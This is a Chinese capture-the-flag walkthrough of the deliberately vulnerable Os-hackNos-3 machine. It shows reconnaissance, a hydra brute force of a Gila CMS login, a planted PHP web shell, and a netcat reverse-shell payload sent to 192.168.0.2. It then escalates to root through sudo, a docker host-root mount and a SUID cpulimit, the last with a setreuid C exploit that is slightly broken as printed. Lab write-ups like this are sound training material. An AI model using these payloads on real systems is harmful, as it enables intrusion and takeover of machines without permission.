Os-hackNos-3
Posted f_carey
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Os-hackNos-3相关的知识,希望对你有一定的参考价值。
Os-hackNos-3
1 信息收集
1.1 端口扫描
┌──(kali㉿kali)-[~]
└─$ nmap -sV -T4 -F 192.168.0.3
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-05 16:18 CST
Nmap scan report for 192.168.0.3
Host is up (0.51s latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1.2 后台目录扫描
┌──(kali㉿kali)-[~]
└─$ dirsearch -x403,401,301,302 -u http://192.168.0.3/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[16:36:37] Starting:
[16:23:28] 200 - 195B - /index.html
[16:36:38] 200 - 2KB - /scripts
[16:36:52] 200 - 5KB - /devil
[16:36:59] 200 - 5KB - /websec
Task Completed
# 尝试暴破/websec的子目录
┌──(kali㉿kali)-[~]
└─$ dirsearch -x403,401,301,302 -u http://192.168.0.3/websec
[17:23:20] 200 - 2KB - /websec/admin
1.2.1 目录分析
-
http://192.168.0.3/scripts/
-
http://192.168.0.3/devil/
-
http://192.168.0.3/websec/
收集到网站的邮箱: contact@hacknos.com
-
http://192.168.0.3/websec/admin
-
使用cewl收集网站信息生成目标网站字典
┌──(kali㉿kali)-[~/OneForAll-0.4.3] └─$ cewl http://192.168.0.3/websec/ > cewl.txt
2 爆破后台登录页面
根据收集的网站信息,邮箱contact@hacknos.com
,网站字典:cewl.txt
进行爆破
2.1 BP爆破
-
发现该后台登录页面对登录请求的IP进行了限制
-
去掉Cookie头部字段后可以正常爆破:
# 得到用户名: contact@hacknos.com # 密码 Securityx
2.2 hydra爆破
┌──(kali㉿kali)-[~/OneForAll-0.4.3]
└─$ hydra -l contact@hacknos.com -P cewl.txt 192.168.0.3 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Log In"
# -l 用户名
# -P 密码字典
# https-post-form、http-get-form、https-get-form
# :Log In表示登陆错误后回包中存在的特征字符;
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-05 22:00:15
[DATA] max 16 tasks per 1 server, overall 16 tasks, 54 login tries (l:1/p:54), ~4 tries per task
[DATA] attacking http-post-form://192.168.0.3:80/websec/admin:username=^USER^&password=^PASS^:Log In
[80][http-post-form] host: 192.168.0.3 login: contact@hacknos.com password: Securityx
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-05 22:00:18
3 利用Gila后台GetShell
-
在Gila CMS 文件管理页面,添加后门文件:
http://192.168.0.3/websec/admin/fm
<?php system($_POST[\'acmd\']);?>
-
修改
http://192.168.0.3/websec/admin/fm?f=./.htaccess
文件,添加内容如下,并保存RewriteCond %REQUEST_URI !shell.php
-
得到webshell
-
构造Post请求利用nc反弹shell
POST /websec/shell.php HTTP/1.1 Host: 192.168.0.3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=0dijj1gi0vejr0vsvhrtome2md; GSESSIONID=1hum7oobrai608grd992fkjm8u632f2xuzbhge31p8b1ikcjd6 Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 117 acmd=rm+/tmp/getshell%3bmkfifo+/tmp/getshell%3bcat+/tmp/getshell|/bin/sh+-i+2>%261|nc+192.168.0.2+2333+>/tmp/getshell
-
利用python切换shell
python -c \'import pty;pty.spawn("/bin/bash")\'
3 提权
3.1 收集当前系统信息
-
查看
/etc/passwd
文件得到当前系统存在用户:blackdevil
-
在
blackdevil
家目录中找到user.txt的flag文件 -
查找具有SUID权限的命令:cpulimit
www-data@hacknos:/home/blackdevil$ find / -perm -u=s 2>/dev/null /usr/bin/mount /usr/bin/passwd /usr/bin/chfn /usr/bin/newgrp /usr/bin/cpulimit /usr/bin/gpasswd /usr/bin/umount /usr/bin/su /usr/bin/sudo /usr/bin/fusermount /usr/bin/at /usr/bin/pkexec /usr/bin/chsh
-
查找用户所创建的敏感文件:没有东东
www-data@hacknos:/home/blackdevil$ find / -user 1000 2>/dev/null
3.2 切换到用户提权
3.2.1 查找blackdevil用户密码
-
查看当前
www-data
用户的sudo权限:sudo -l
,没有东东 -
查找可疑文件(这个真的好难找,我没搞出来):
/var/local/database
# 根据提示spreadsheet的编码方式 Expenses Software Licenses,$2.78 Maintenance,$68.87 Mortgage Interest,$70.35 Advertising,$9.78 Phone,$406.80 Insurance,$9.04 Opss;fackespreadsheet
-
解码得到密码:
Security@x@
-
切换为blackdevil用户,并查看该用户所属组
blackdevil属于docker,sudo组
-
查看blackdevil用户拥有sudo命令权限:拥有所有命令的执行权限
3.2.2 sudo 提权
blackdevil@hacknos:~$ sudo su -
3.2.3 docker提权
-
当前系统docker镜像文件
-
下载docker镜像文件,启动容器并挂载宿主机的根目录
# alpine镜像非常小非常适合用于提权 blackdevil@hacknos:~$ docker run -it -v /:/mnt alpine /bin/sh # 由于已经将宿主机根目录挂载到了容器的/mnt/目录下,因此在容器内,/mnt/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限 chroot /mnt
3.3 cpulimit 提权
3.3.1 直接提权
cpulimit -l 100 -f -- /bin/sh -p
3.3.2 利用cpulimit执行提权脚本进行提权
-
提权脚本
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc,char *argv[]) setreuid(0,0); execve("/bin/bash",NULL,NULL);
-
gcc编译提权脚本
┌──(kali㉿kali)-[~] └─$ gcc exp.c -o exp
-
上传exp文件到目标主机:BASE64编码方式
-
查看编译后的exp文件Base64编码:
base64 exp
-
在目标主机上vim创建exp.b64文件,并写入exp文件Base64编码:
www-data@hacknos:/var/www/html/websec$ vim exp.b64
-
解码/exp.b64文件:
www-data@hacknos:/var/www/html/websec$ base64 -d exp.b64 > exp
-
-
编写设置权限脚本,赋予exp文件sid权限
chmod +x exp
-
提权
cpulimit -l 100 -f ./exp
以上是关于Os-hackNos-3的主要内容,如果未能解决你的问题,请参考以下文章